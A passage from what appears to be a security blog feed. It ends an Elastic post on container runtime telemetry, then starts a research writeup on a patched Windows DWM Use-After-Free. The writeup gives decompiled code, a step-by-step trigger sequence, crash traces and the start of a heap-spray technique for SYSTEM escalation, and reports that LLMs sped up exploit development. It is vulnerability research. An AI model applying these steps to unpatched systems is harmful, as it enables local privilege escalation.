<p>In practice, this model allows detection engineers to translate threat hypotheses directly into policy logic: <em>what</em> behavior matters, <em>where</em> it occurs, <em>in which workloads</em>, and <em>what should happen</em> when it does.</p>
<h4 id="policyvalidationandrefinement">Policy validation and refinement</h4>
<p>Once a policy is deployed, it is critical to validate it against real workload behavior before enabling aggressive responses such as blocking. Policies that are too restrictive can disrupt normal container operations; policies that are too permissive may let unwanted activity go unnoticed.</p>
<p>A recommended workflow is:</p>
<ol>
<li>Deploy the default policy in monitoring mode (e.g., with selectors logging events).  </li>
<li>Observe the events that appear in Elasticsearch to understand normal workload patterns.  </li>
<li>Incrementally tighten selectors and responses, moving from <em>log only</em> → <em>alert</em> → <em>block</em>, testing at each stage.  </li>
<li>Use a staging or test cluster to validate blocking behaviors before applying them in production.</li>
</ol>
<h3 id="defendforcontainersbetalimitations">Defend for Containers Beta limitations</h3>
<p>As of writing, Defend for Containers is available as a Beta integration, and its current capabilities and platform support reflect that status.</p>
<p>Defend for Containers formally supports Amazon EKS and Google GKE. While the integration can be deployed on Azure AKS, this configuration is not officially supported. In particular, AKS deployments currently lack file event telemetry, which limits detection coverage for file-based attack techniques in those environments.</p>
<p>The current Beta also does not capture network events. As a result, detections related to outbound connections, lateral network movement, or data exfiltration must rely on complementary data sources, such as the <a href="https://www.elastic.co/docs/reference/integrations/network_traffic">Network Packet Capture integration</a> or <a href="https://www.elastic.co/beats/packetbeat">Packetbeat</a> integrations, rather than on Defend for Containers telemetry alone.</p>
<p>For file activity, Defend for Containers intentionally logs file open events only when opened with write intent. This design choice reduces noise and focuses on behavior that modifies the system state. However, it also means that read-only access to sensitive files, such as secret discovery, configuration scraping, or failed access attempts, is not currently observable.</p>
<p>This limitation impacts detection use cases such as:</p>
<ul>
<li>Searching and reading Kubernetes service account tokens,  </li>
<li>Scanning for <code>.env</code> files or credential material.</li>
</ul>
<p>These are areas where future Defend for Containers iterations may provide more granular telemetry to support advanced detection engineering use cases.</p>
<h3 id="enablingthedefendforcontainersprebuiltdetectionrules">Enabling the Defend for Containers pre-built detection rules</h3>
<p>Defend for Containers ships with a set of pre-built detection rules that provide baseline coverage for common container attack techniques. Once the integration is enabled, these rules can be activated directly from Elastic Security without additional configuration.</p>
<p>Enabling the pre-built rules is recommended as a starting point, as they are designed to align with Defend for Containers' runtime telemetry and cover execution, file modification, persistence, and post-compromise behavior inside containers. From there, the rules can be extended or refined to match environment-specific workloads and threat models.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt61dbd4c7ddff6500/6a7d80b6e88c659fc8008970/image17.png" alt="Figure 9: Defend for Containers pre-built detection rule installation based on tag" title="Figure 9: Defend for Containers pre-built detection rule installation based on tag" />  </p>
<p>By filtering for “Data Source: Elastic Defend for Containers”, you can find all rules associated with this integration.</p>
<p><strong>Note:</strong> if you do not see any rules pop up, make sure your stack is running version 9.3.0, as these rules are deployed only on 9.3.0+.</p>
<p>With all important Beta limitations mapped, the integration deployed, the pre-built detection rules installed and enabled, and a working policy in place, the next step is to explore the event semantics Defend for Containers produces, including fields commonly used in detection logic, performance considerations, and how these events differ from Elastic Defend events.</p>
<h2 id="analyzingdefendforcontainersevents">Analyzing Defend for Containers events</h2>
<p>Now that Defend for Containers is deployed and policies are in place, the next step is understanding the events it generates. Similar to working with Elastic Defend or Auditd Manager, Defend for Containers telemetry becomes far more valuable once you develop a mental model of how events are structured and which fields are most relevant for detection engineering.</p>
<p>Defend for Containers produces multiple event types, most notably process events and file events, each enriched with container, host, and orchestration context. While the underlying signals remain rooted in Linux behavior, the additional Kubernetes and container metadata enable you to reason about activity in ways not possible with host-only telemetry.</p>
<p>The following sections walk through the most important field groups and event types, using real Defend for Containers events as reference points.</p>
<h3 id="commonfields">Common fields</h3>
<p>Before diving into specific event categories, it is useful to understand the fields that consistently appear across Defend for Containers telemetry. These fields provide the contextual glue that ties individual runtime actions back to policies, selectors, and the underlying execution points inside the kernel.</p>
<p>While process and file events differ in their details, the fields described below are present across Defend for Containers data streams and are often the first place to look when validating detections or troubleshooting policy behavior.</p>
<h4 id="defendforcontainersspecificcontext">Defend for Containers-specific context</h4>
<p>Defend for Containers adds several fields specific to how events are collected and policies are applied.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltea9e07025d9a6fd7/6a7d80b9bd219844f97552bd/image10.png" alt="Figure 10: Defend for Containers’ important &lt;code&gt;cloud_defend.*&lt;/code&gt; fields overview" title="Figure 10: Defend for Containers’ important &lt;code&gt;cloud_defend.*&lt;/code&gt; fields overview" /></p>
<p>The <code>cloud_defend.hook_point</code> field indicates where in the kernel the event was captured. In the example shown, values such as <code>tracepoint__sched_process_fork</code> and <code>tracepoint__sched_process_exec</code> reveal that the event was generated from kernel tracepoints associated with process creation and execution. </p>
<p>The <code>cloud_defend.matched_selectors</code> field shows which selectors in the active policy matched the event. In the example, the value <code>allProcesses</code> indicates that this event matched a broad selector that captures all process activity. When tuning policies or investigating alerts, this field is essential for understanding <em>why</em> an event was captured.</p>
<p>The <code>cloud_defend.package_policy_id</code> and <code>cloud_defend.package_policy_revision</code> fields tie the event back to a specific Elastic Agent policy and its revision. This makes it possible to correlate events with configuration changes over time and to verify which version of a policy was active when the event occurred.</p>
<h4 id="eventmetadata">Event metadata</h4>
<p>Defend for Containers events follow the <a href="https://www.elastic.co/docs/reference/ecs">Elastic Common Schema</a> conventions and include standard event metadata that describes the activity's type and lifecycle.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blte2d166d42a7826ac/6a7d80bcc2cc09866824667e/image2.png" alt="Figure 11: Defend for Containers’ important &lt;code&gt;event.*&lt;/code&gt; fields overview" title="Figure 11: Defend for Containers’ important &lt;code&gt;event.*&lt;/code&gt; fields overview" /></p>
<p>The <code>event.category</code> field identifies the high-level type of activity, such as <code>process</code> or <code>file</code>, and is typically the first field used when filtering Defend for Containers data. The <code>event.action</code> field describes what occurred, for example, <code>fork</code> or <code>exec</code> for process activity, or <code>open</code>, <code>creation</code>, <code>modification</code>, and <code>deletion</code> for file events.</p>
<p>The <code>event.type</code> field adds lifecycle context, such as <code>start</code> for process execution, and is often used together with <code>event.action</code> to distinguish different phases of activity. The <code>event.dataset</code> field indicates the originating Defend for Containers data stream, such as <code>cloud_defend.process</code>, which is useful when building dataset-scoped queries or detections.</p>
<p>Additional metadata fields like <code>event.id</code>, <code>event.ingested</code>, and <code>event.kind</code> are primarily used for correlation, ordering, and troubleshooting rather than detection logic.</p>
<h4 id="hostinformation">Host information</h4>
<p>Defend for Containers events include full host context, similar to Elastic Defend and Auditd Manager. This makes it possible to correlate container runtime activity back to the underlying Kubernetes node.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt751328faba285606/6a7d80bf51156aabfd2bf873/image9.png" alt="Figure 12: Defend for Containers’ important &lt;code&gt;host.*&lt;/code&gt; fields overview" title="Figure 12: Defend for Containers’ important &lt;code&gt;host.*&lt;/code&gt; fields overview" /></p>
<p>The <code>host.name</code> field identifies the node on which the container is running, while <code>host.os.*</code> provides operating system details such as distribution and kernel version. The <code>host.architecture</code> field indicates the CPU architecture, which can be relevant when analyzing binary execution or kernel-specific behavior.</p>
<p>One particularly useful field is <code>host.pid_ns_ino</code>, which identifies the PID namespace. This field allows container activity to be correlated with host-level process and kernel telemetry, and is especially valuable when investigating container escape attempts or node-level impact.</p>
<p>This host context is critical when analyzing cloud-native attacks, as multiple containers often share the same host and kernel, and a container's runtime behavior can have implications beyond its boundaries.</p>
<h4 id="containerandorchestratorcontext">Container and orchestrator context</h4>
<p>Defend for Containers' primary strength lies in its container awareness. Every runtime event is enriched with container and orchestration metadata, allowing activity to be analyzed in the context of <em>what</em> is running, <em>where it is running</em>, and <em>with which privileges</em>.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt3eeae3928ecb19de/6a7d80c277b0347de23fc656/image8.png" alt="Figure 13: Defend for Containers’ important &lt;code&gt;container.*&lt;/code&gt; fields overview" title="Figure 13: Defend for Containers’ important &lt;code&gt;container.*&lt;/code&gt; fields overview" /></p>
<p>At the container level, fields such as <code>container.id</code> and <code>container.name</code> uniquely identify the running container, while <code>container.image.name</code>, <code>container.image.tag</code>, and the image hash provide visibility into the workload’s origin and version. This is especially useful for distinguishing between expected utility images and unexpected or ad hoc workloads.</p>
<p>A key field for risk assessment is <code>container.security_context.privileged</code>. This field explicitly indicates whether a container is running in privileged mode. When privileged execution is combined with other signals such as interactive shells or broad Linux capabilities, the risk profile of any detected activity increases significantly.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7bbe316947d7dcb6/6a7d80c5448e4e7d1c5bdb30/image3.png" alt="Figure 14: Defend for Containers’ important &lt;code&gt;orchestrator.*&lt;/code&gt; fields overview" title="Figure 14: Defend for Containers’ important &lt;code&gt;orchestrator.*&lt;/code&gt; fields overview" /></p>
<p>Defend for Containers also enriches events with orchestration context. Fields such as <code>orchestrator.cluster.name</code>, <code>orchestrator.namespace</code>, and <code>orchestrator.resource.name</code> (typically the Pod name) tie runtime behavior back to Kubernetes workloads. Labels exposed via <code>orchestrator.resource.label</code> further allow detections to incorporate workload intent and ownership.</p>
<p>For detection engineering, this context enables precise scoping of detections to:</p>
<ul>
<li>specific namespaces (for example, <code>kube-system</code>),  </li>
<li>privileged or high-risk containers,  </li>
<li>workloads with sensitive labels,  </li>
<li>or known utility images such as <code>netshoot</code>, <code>kubectl</code>, or <code>curl</code>.</li>
</ul>
<p>This layer of enrichment allows container-aware detection logic to be expressed directly, without having to infer intent indirectly from filesystem paths, cgroups, or namespace identifiers.</p>
<h3 id="processevents">Process events</h3>
<p>Process execution is one of the most important signal types that Defend for Containers provides. Process events capture <code>fork</code>, <code>exec</code>, and <code>end</code> activities within containers and expose detailed lineage information critical to understanding how execution unfolds at runtime.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt74b3d0e8212bc23b/6a7d80c8bd2198c47d7552c1/image12.png" alt="Figure 15: Defend for Containers’ important &lt;code&gt;process.*&lt;/code&gt; fields overview" title="Figure 15: Defend for Containers’ important &lt;code&gt;process.*&lt;/code&gt; fields overview" /></p>
<p>Several fields are particularly important for detection engineering. The combination of <code>process.name</code> and <code>process.executable</code> identifies what was executed and from where, while <code>process.args</code> provides insight into how it was invoked. Fields such as <code>process.pid</code>, <code>process.start</code>, <code>process.end</code>, and <code>process.exit_code</code> describe the process lifecycle and are useful for timing analysis and execution-flow reconstruction. The <code>process.entity_id</code> provides a stable identifier that allows processes to be tracked across multiple related events.</p>
<p>Defend for Containers also captures rich ancestry information. Fields under <code>process.parent.*</code> describe the immediate parent process, making it possible to detect suspicious parent–child relationships such as shells spawned by unexpected binaries. In addition, <code>process.entry_leader.*</code> and <code>process.session_leader.*</code> provide higher-level anchors within the process tree.</p>
<p>Much like Elastic Defend, Defend for Containers models processes as a graph rather than isolated events. The entry leader is especially useful in container environments, as it often represents the initial process launched by the container runtime (for example, <code>containerd</code>, <code>runc</code>, or a shell specified as the container entrypoint). Anchoring detections to the entry leader allows process trees to be interpreted consistently, even when containers spawn many short-lived child processes.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt0713c3e4265bd110/6a7d80cbde23155cc0fd4e3a/image15.png" alt="Figure 16: Defend for Containers’ important &lt;code&gt;process.session*&lt;/code&gt; fields overview" title="Figure 16: Defend for Containers’ important &lt;code&gt;process.session*&lt;/code&gt; fields overview" /></p>
<p>Session leader fields provide additional context about interactive execution and session boundaries, helping distinguish background services from interactive or attacker-driven activity.</p>
<p>Together, these fields make it possible to express detection logic that goes beyond single executions and instead reasons about execution chains, lineage, and intent, which is essential for detecting real-world container attack techniques.</p>
<h4 id="capabilitiesandprivilegecontext">Capabilities and privilege context</h4>
<p>One of the more powerful aspects of the Defend for Containers process events is the inclusion of Linux capability information. For each process, Defend for Containers exposes both the effective and permitted capability sets via:</p>
<ul>
<li><code>process.thread.capabilities.effective</code>  </li>
<li><code>process.thread.capabilities.permitted</code></li>
</ul>
<p>These fields describe what a process is actually allowed to do at runtime, independent of its user ID or container boundary.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/bltc7656cec7efb20fc/6a7d80ce42a117d703959121/image14.png" alt="Figure 17: Defend for Containers’ important &lt;code&gt;process.thread.capabilities.*&lt;/code&gt; fields overview" title="Figure 17: Defend for Containers’ important &lt;code&gt;process.thread.capabilities.*&lt;/code&gt; fields overview" /></p>
<p>In privileged containers, processes often expose a broad set of effective capabilities, including highly sensitive ones such as <code>CAP_SYS_ADMIN</code>, <code>CAP_SYS_MODULE</code>, <code>CAP_SYS_PTRACE</code>, <code>CAP_SYS_RAWIO</code>, and <code>CAP_BPF</code>. The presence of these capabilities significantly changes the risk profile of any executed command, as they enable actions that can directly impact the host kernel or other workloads.</p>
<p>From a detection engineering perspective, this context is critical. It allows detections to move beyond simple process-name matching and instead reason about <em>impact</em>. The same binary execution can have vastly different implications depending on whether it runs with a minimal capability set or with near-host-level privileges.</p>
<p>In practice, capability data enables detection engineers to:</p>
<ul>
<li>Identify suspicious tooling executed inside overly permissive containers.  </li>
<li>Correlate runtime behavior with dangerous capability combinations.  </li>
<li>Prioritize alerts based on actual exploitation potential rather than surface-level activity.</li>
</ul>
<p>This becomes especially relevant to container breakout research, where the presence or absence of specific capabilities often determines whether an exploit is viable.</p>
<h4 id="interactiveexecution">Interactive execution</h4>
<p>The <code>process.interactive</code> field indicates whether a process is associated with an interactive session. In container environments, interactive execution is relatively rare for production workloads and often correlates strongly with post-compromise or hands-on-keyboard activity.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt8100091a06ed0c42/6a7d80d1dd26d281292a7263/image4.png" alt="Figure 18: Defend for Containers’ important &lt;code&gt;process.*.interactive&lt;/code&gt; fields overview" title="Figure 18: Defend for Containers’ important &lt;code&gt;process.*.interactive&lt;/code&gt; fields overview" /></p>
<p>Defend for Containers exposes interactivity not only at the process level, but also across related execution contexts, including <code>process.parent.interactive</code>, <code>process.entry_leader.interactive</code>, and <code>process.session_leader.interactive</code>. This makes it possible to determine whether an entire execution chain is interactive, rather than relying on a single process flag in isolation.</p>
<p>Common examples of interactive execution within containers include spawning a <code>bash</code> or <code>sh</code> shell, running interactive utilities such as <code>curl</code>, <code>kubectl</code>, or <code>busybox</code>, or operator-driven reconnaissance within a compromised Pod. While these actions may be legitimate during debugging, they are uncommon in steady-state production workloads.</p>
<p>When combined with container image, namespace, and privilege context, interactive execution becomes a strong anomaly signal. It allows detection logic to distinguish between expected automated container behavior and activity more consistent with manual intervention or attacker-driven exploration.</p>
<h3 id="fileevents">File events</h3>
<p>Defend for Containers file events capture filesystem activity inside containers, and are emitted for a variety of operations. Unlike traditional file integrity monitoring, these events are runtime-aware and scoped to container workloads, providing context about <em>how</em> and <em>why</em> file changes occur.</p>
<p>Defend for Containers can detect file activity such as file opens <strong>with write intent</strong>, content modifications, file creations, renames, permission changes, and deletions. By focusing on write-oriented operations, Defend for Containers emphasizes behavior that alters system state rather than passive file access.</p>
<p>This allows detection engineers to reason about file usage patterns at runtime, not just the result of a change.</p>
<p><img src="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt7c527973f9d328e0/6a7d80d4e88c655e38008976/image6.png" alt="Figure 19: Defend for Containers’ important &lt;code&gt;file&lt;/code&gt; events overview" title="Figure 19: Defend for Containers’ important &lt;code&gt;file&lt;/code&gt; events overview" /></p>
<p>Several fields are particularly important when building file-based detections. The <code>file.path</code> and <code>file.name</code> fields identify the affected file and its location, while <code>file.extension</code> can help distinguish binaries, scripts, and configuration files. The <code>event.action</code> and <code>event.type</code> fields describe what operation occurred and how it should be interpreted in the event lifecycle.</p>
<p>Together, these fields allow Defend for Containers to distinguish benign file access from suspicious modification patterns, such as writing binaries or changing permissions within sensitive directories.</p>
<h3 id="bringingittogether">Bringing it together</h3>
<p>As with any other data source, Defend for Containers telemetry becomes truly valuable once you understand how to combine fields across the process, file, container, and orchestration domains. Rather than relying on static indicators, Defend for Containers enables detection engineering based on runtime behavior, privilege context, and workload identity.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Defend for Containers in Elastic Stack 9.3.0 includes container runtime detection as a core component of Linux detection engineering. It features a clear scope, a policy-driven configuration model, and runtime telemetry designed specifically for containerized workloads.</p>
<p>In this post, we examined how to deploy Defend for Containers, how its policy model is structured, and how runtime events are generated and enriched with container and orchestration context. We explored the structure of process and file events, capability metadata, interactive execution signals, and container-specific fields that allow detections to be expressed in a workload-aware manner.</p>
<p>The key takeaway is that effective container detection requires reasoning about runtime behavior in context: processes, file modifications, privileges, and workload identity must be evaluated together. Defend for Containers provides the necessary telemetry to make that possible.</p>
<p>In the next article, we will build on this foundation by walking through a realistic container attack scenario and demonstrating how Defend for Containers telemetry surfaces each stage of compromise in practice.</p>]]></content:encoded>
    <link>https://www.elastic.co/security-labs/blog/getting-started-with-defend-for-containers</link>
    <guid isPermaLink="false">getting-started-with-defend-for-containers</guid>
    <category><![CDATA[Endpoint Protection & Security]]></category>
    <dc:creator><![CDATA[Ruben Groenewoud]]></dc:creator>
    <enclosure url="https://static-www.elastic.co/v3/assets/bltefdd0b53724fa2ce/blt6e8c29e1c10133f1/6a7d80d8bdcff0f95fc40064/getting-started-with-defend-for-containers.png" length="0" type="image/png"/>
    <pubDate>Thu, 19 Mar 2026 00:00:00 GMT</pubDate>
  </item>
  <item>
    <title><![CDATA[Patch diff to SYSTEM]]></title>
    <description><![CDATA[Leveraging LLMs and patch diffing, this research details a Use-After-Free vulnerability in Windows DWM, demonstrating a reliable exploit that achieves escalation from low-privileged user permissions to SYSTEM.]]></description>
    <content:encoded><![CDATA[<h2 id="intro">Intro</h2>
<p>Patch diffing has long fascinated me. I think part of it has to do with the race against the clock, reversing, exploiting, and trying to attain that “1day” exploit status. For advanced Windows targets, Valentina Palmiotti and Ruben Boonen <a href="https://www.ibm.com/think/x-force/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock">proved</a> that this was already possible nearly 3 years ago. But, they are some of the world's most talented exploit devs. Can LLMs raise the capability floor for us mere mortals? Fortunately, and maybe a bit alarmingly, the answer is yes.</p>
<h2 id="thehunt">The Hunt</h2>
<p>When the bulletin for the January 2026 Patch Tuesday dropped, I kicked off my search to identify one of the patched vulnerabilities, and (hopefully) develop a working exploit for it. Top on the <a href="https://msrc.microsoft.com/update-guide/releaseNote/2026-Jan">target list</a> were any vulnerabilities already known to be exploited in the wild. January patches included an in-the-wild information leak <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-20805">vulnerability</a> in Desktop Window Manager (DWM), which caught my eye. It also included a second DWM vulnerability which could lead to local privilege escalation. Historically, DWM has been a <a href="https://www.elastic.co/security-labs/itw-windows-lpe-0days-insights-and-detection-strategies">popular target</a> for local privilege escalation. Sometimes it can be tricky to identify the exact patched component, but for DWM, dwmcore.dll is always a safe bet.</p>
<p>After training Ghidra on the files and extracting BSim vectors for every function, it becomes quite easy to highlight the differences between them. Not to mention, many Microsoft-patched vulnerabilities come alongside new feature flags. Needless to say, Opus 4.5 made quick work of the diff and identified one of the vulnerabilities within minutes.</p>
<pre><code>======================================================================
BSim PATCH DIFF REPORT
======================================================================
File 1: dwmcore_vuln.dll
File 2: dwmcore_patched.dll 
======================================================================

----------------------------------------------------------------------------------------------------
TOP 10 MOST MODIFIED FUNCTIONS
----------------------------------------------------------------------------------------------------
  dwmcore_vuln.dll                      dwmcore_patched.dll                        Sim  Jaccard
----------------------------------------------------------------------------------------------------
  FUN_1802e7842                         FUN_1802e7842                           0.1191   0.0632
  FUN_1802e92d6                         FUN_1802e92d6                           0.1470   0.0722
  FUN_1802e5faa                         FUN_1802e5faa                           0.1741   0.0769
  ~CDelegatedInkCanvas                  ~CDelegatedInkCanvas                    0.7556   0.6047
  GetBufferedOutputTransformed          GetBufferedOutputTransformed            0.7628   0.6154
  FrameStarted                          FrameStarted                            0.7833   0.6429
  ~CSynchronousSuperWetInk              ~CSynchronousSuperWetInk                0.8018   0.6667
  FUN_1802f5aa2                         FUN_1802f5aa2                           0.9127   0.8393
  FUN_1802f57d2                         FUN_1802f5d72                           0.9127   0.8393
======================================================================
</code></pre>
<p>From here, I have to say that the time to build a functional exploit was painfully slower than I would have hoped. I spent many long nights and weekends poking and prodding the model along. A lot of this came down to my own unfamiliarity with the bug class and subsystem. Eventually, we did prevail and get RCE from low privilege into DWM and to SYSTEM. In the process, I discovered multiple novel exploitation techniques, like the GetRECT spray, new gadget chains, and a DWM-to-SYSTEM path. However, with these techniques (and some other tooling) in hand and newer model releases like Opus 4.6, the time from discovering a UAF vulnerability in DWM to functional exploit dropped from 3 weeks to a matter of hours.</p>
<h2 id="thebug">The Bug</h2>
<p>The vulnerability is a Use-After-Free in <code>CSynchronousSuperWetInk::~CSynchronousSuperWetInk</code>. The destructor conditionally removes the object from <code>CSuperWetInkManager</code> based on the return value of <code>IsSuperWetCompatible()</code>.</p>
<pre><code>void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    this-&gt;vtable = &amp;_vftable_;
    bool bVar2 = IsSuperWetCompatible(this);
    if (bVar2) {
        CSuperWetInkManager::RemoveSource(this-&gt;composition-&gt;superWetInkManager, this);
    }
    // ... cleanup continues
}
</code></pre>
<p><em>The vulnerable destructor in dwmcore.dll version 10.0.26100.7309.</em></p>
<h3 id="issuperwetcompatiblecondition">IsSuperWetCompatible Condition</h3>
<pre><code>bool CSynchronousSuperWetInk::IsSuperWetCompatible(CSynchronousSuperWetInk *this) {
    if ((this-&gt;LookupMode == 2 || this-&gt;notifier1 != NULL) &amp;&amp;
        this-&gt;clipEntry != NULL &amp;&amp; this-&gt;comObject != NULL) {
        return true;
    }
    return false;
}
</code></pre>
<p><em>The IsSuperWetCompatible condition in dwmcore.dll version 10.0.26100.7309.</em></p>
<p>The function returns <code>true</code> only when <code>LookupMode</code> equals 2, or <code>notifier1</code> is set, AND both <code>clipEntry</code> and <code>comObject</code> are non-null.</p>
<h3 id="thebug-1">The Bug</h3>
<p>An attacker can:</p>
<ol>
<li>Register a <code>CSynchronousSuperWetInk</code> with the manager (requires <code>LookupMode=2</code> during <code>Draw()</code>)  </li>
<li>Change <code>LookupMode</code> to 0 via <code>CMD_SET_PROPERTY</code>  </li>
<li>Trigger destruction via <code>CMD_RELEASE_RESOURCE</code>  </li>
<li><code>IsSuperWetCompatible()</code> returns FALSE → <code>RemoveSource()</code> is <strong>skipped</strong>  </li>
<li>A dangling pointer remains in <code>CSuperWetInkManager::localStrokesVector</code></li>
</ol>
<p>When DWM later iterates this vector (e.g., in <code>DirtyActiveInk</code>), it dereferences the freed object's vtable, leading to controlled code execution.</p>
<h3 id="thefix">The Fix</h3>
<p>The patch adds a feature flag (<code>Feature_1732988217</code>). When enabled, <code>RemoveSource()</code> is called <strong>unconditionally</strong>, regardless of <code>IsSuperWetCompatible()</code>. This ensures the object is always properly unregistered from the manager during destruction, eliminating the dangling pointer.</p>
<pre><code>void CSynchronousSuperWetInk::~CSynchronousSuperWetInk(CSynchronousSuperWetInk *this) {
    *(undefined ***)this = &amp;_vftable_;
    bool bVar2 = wil::details::FeatureImpl&lt;Feature_1732988217&gt;::__private_IsEnabled(&amp;impl);
    if (!bVar2) {
        bVar2 = IsSuperWetCompatible(this);
        if (!bVar2) goto LAB_1802a9b1a;  // Skip RemoveSource only if feature disabled AND !compatible
    }
    CSuperWetInkManager::RemoveSource(..., this);
LAB_1802a9b1a:
    // ... cleanup continues
}
</code></pre>
<p><em>The fixed destructor in dwmcore.dll version 10.0.26100.7623.</em></p>
<h2 id="theexploit">The Exploit</h2>
<p>The UAF can be triggered from a regular user-mode application via the <a href="https://learn.microsoft.com/en-us/windows/win32/directcomp/directcomposition-portal">DirectComposition API</a>. The attack requires no special privileges.</p>
<h3 id="prerequisites">Prerequisites</h3>
<ol>
<li><strong>D3D11/DXGI Infrastructure</strong>: Create a D3D11 device with BGRA support and a swap chain for a visible window.  </li>
<li><strong>DirectComposition Device</strong>: Initialize via <code>DCompositionCreateDevice()</code> with the DXGI device.  </li>
<li><strong>NtDComposition Syscall Access</strong>: Hook or directly call <code>NtDCompositionProcessChannelBatchBuffer</code> and <code>NtDCompositionCommitChannel</code> via <code>win32u.dll</code> to inject raw batch buffer commands.</li>
</ol>
<h3 id="triggersequence">Trigger Sequence</h3>
<h4 id="step1createinktrailallocatecsynchronoussuperwetink">Step 1: Create Ink Trail (Allocate CSynchronousSuperWetInk)</h4>
<p>Query <code>IDCompositionInkTrailDevice</code> from the DirectComposition device, then call <code>CreateDelegatedInkTrailForSwapChain()</code> or <code>CreateDelegatedInkTrail()</code>. This allocates a <code>CSynchronousSuperWetInk</code> object (resource type <code>0xa8</code>) in dwm.exe's heap.</p>
<h4 id="step2createvisualandsetlookupmode2">Step 2: Create Visual and Set LookupMode=2</h4>
<p>Inject batch buffer commands to:</p>
<ol>
<li>Create a <code>CSuperWetInkVisual</code> (type <code>0xa5</code>) with <code>CMD_CREATE_RESOURCE</code> (0x02)  </li>
<li>Connect visual to ink source: <code>CMD_SET_REFERENCE</code> (0x10) with propId <code>0x34</code>  </li>
<li>Set <code>LookupMode=2</code> on the ink source via <code>CMD_SET_PROPERTY</code> (0x0B) with propId <code>10</code>  </li>
<li>Connect to composition tree: <code>CMD_SET_REFERENCE</code> to handles 1 and 2 (composition target / marshaler) with propId <code>0x34</code></li>
</ol>
<p>LookupMode=2 ensures <code>IsSuperWetCompatible()</code> returns TRUE during <code>Draw()</code>, which registers the object with <code>CSuperWetInkManager::localStrokesVector</code>.</p>
<h4 id="step3renderframestoregisterwithmanager">Step 3: Render Frames to Register with Manager</h4>
<p>Present multiple frames (<code>IDXGISwapChain::Present</code>) and commit DirectComposition changes. This triggers DWM's render loop, which calls into the ink infrastructure and registers the <code>CSynchronousSuperWetInk</code> pointer in the manager's internal vector.</p>
<h4 id="step4setlookupmode0bypassremovalcheck">Step 4: Set LookupMode=0 (Bypass Removal Check)</h4>
<p>Inject <code>CMD_SET_PROPERTY</code> to change <code>LookupMode</code> to <code>0</code>. Now <code>IsSuperWetCompatible()</code> will return FALSE because:</p>
<pre><code>if ((this-&gt;LookupMode == 2 || this-&gt;notifier1 != NULL) &amp;&amp; ...)
</code></pre>
<p>With <code>LookupMode</code> = 0 and no notifier, the first condition fails.</p>
<h4 id="step5releaseinktrailcreatedanglingpointer">Step 5: Release Ink Trail (Create Dangling Pointer)</h4>
<ol>
<li>Disconnect visual references: <code>CMD_SET_REFERENCE</code> with refHandle=0 for all connections  </li>
<li>Release the <code>IDCompositionDelegatedInkTrail</code> interface</li>
</ol>
<p>When the destructor <code>~CSynchronousSuperWetInk</code> runs:</p>
<ul>
<li>It calls <code>IsSuperWetCompatible()</code> which returns <strong>FALSE</strong> (LookupMode=0)  </li>
<li><code>RemoveSource()</code> is <strong>SKIPPED</strong>  </li>
<li>The object is freed but its pointer <strong>remains</strong> in <code>CSuperWetInkManager::localStrokesVector</code></li>
</ul>
<h4 id="step6triggerdirtyactiveinkuseafterfree">Step 6: Trigger DirtyActiveInk (Use-After-Free)</h4>
<p>Continue presenting frames and invalidating the window. DWM's composition loop calls <code>CSuperWetInkManager::DirtyActiveInk()</code>, which iterates <code>localStrokesVector</code> and dereferences the dangling pointer:</p>
<pre><code>pcVar2 = *(code **)((longlong)((CResource *)*puVar4)-&gt;vtable + 0x50);
</code></pre>
<h3 id="crashbehavior">Crash Behavior</h3>
<p>Without a heap spray, DWM crashes when accessing freed memory:</p>
<pre><code> # Call Site
00 ntdll!KiUserExceptionDispatch
01 0x00007ffe`f23270d1
02 dwmcore!CSuperWetInkManager::DirtyActiveInk+0xae
03 dwmcore!CComposition::PreRender+0x99f
04 dwmcore!CComposition::ProcessComposition+0x1d7
05 dwmcore!CConnection::MainCompositionThreadLoop+0x4a
</code></pre>
<p>If the freed memory is reclaimed by another object (e.g., <code>CInteractionTrackerScaleAnimation</code>), the crash occurs at an unexpected vtable:</p>
<pre><code>kd&gt; dps rcx
00000201`fbef65f0  00007ffe`ebf60014 dwmcore!CInteractionTrackerScaleAnimation::`vftable'+0x24
</code></pre>
<p>By controlling what data reclaims the freed allocation, an attacker can craft a fake vtable and achieve arbitrary code execution via the virtual call at <code>vtable+0x50</code>.</p>
<h2 id="heapspray">Heap Spray</h2>
<p>To exploit the UAF, we must reclaim the freed <code>CSynchronousSuperWetInk</code> allocation with attacker-controlled data containing a fake vtable. This section documents the CRegionGeometry RECT buffer spray technique we refer to as GetRECT.</p>
<h3 id="targetobjectproperties">Target Object Properties</h3>
<p>| Property | Value |
| :---- | :---- |
| Object | <code>CSynchronousSuperWetInk</code> |
| Size | 0x120 (288 bytes) |
| Allocator | <code>DefaultHeap::AllocClear</code> → <code>GetProcessHeap()</code> |
| <a href="https://learn.microsoft.com/en-us/windows/win32/memory/low-fragmentation-heap">LFH</a> Bucket | 34 (273-288 byte range) |
| Slots per <a href="https://blackhat.com/docs/us-16/materials/us-16-Yason-Windows-10-Segment-Heap-Internals.pdf">Subsegment</a> | 57 |</p>
<h3 id="sprayprimitivecregiongeometryrectbuffer">Spray Primitive: CRegionGeometry RECT Buffer</h3>
<p>The spray uses <code>CRegionGeometry</code> resources (type <code>0x81</code>) with RECT array data:</p>
<p>| Property | Value |
| :---- | :---- |
| Resource Type | <code>0x81</code> (CRegionGeometry) |
| Spray Size | 18 RECTs × 16 bytes = <strong>288 bytes</strong> |
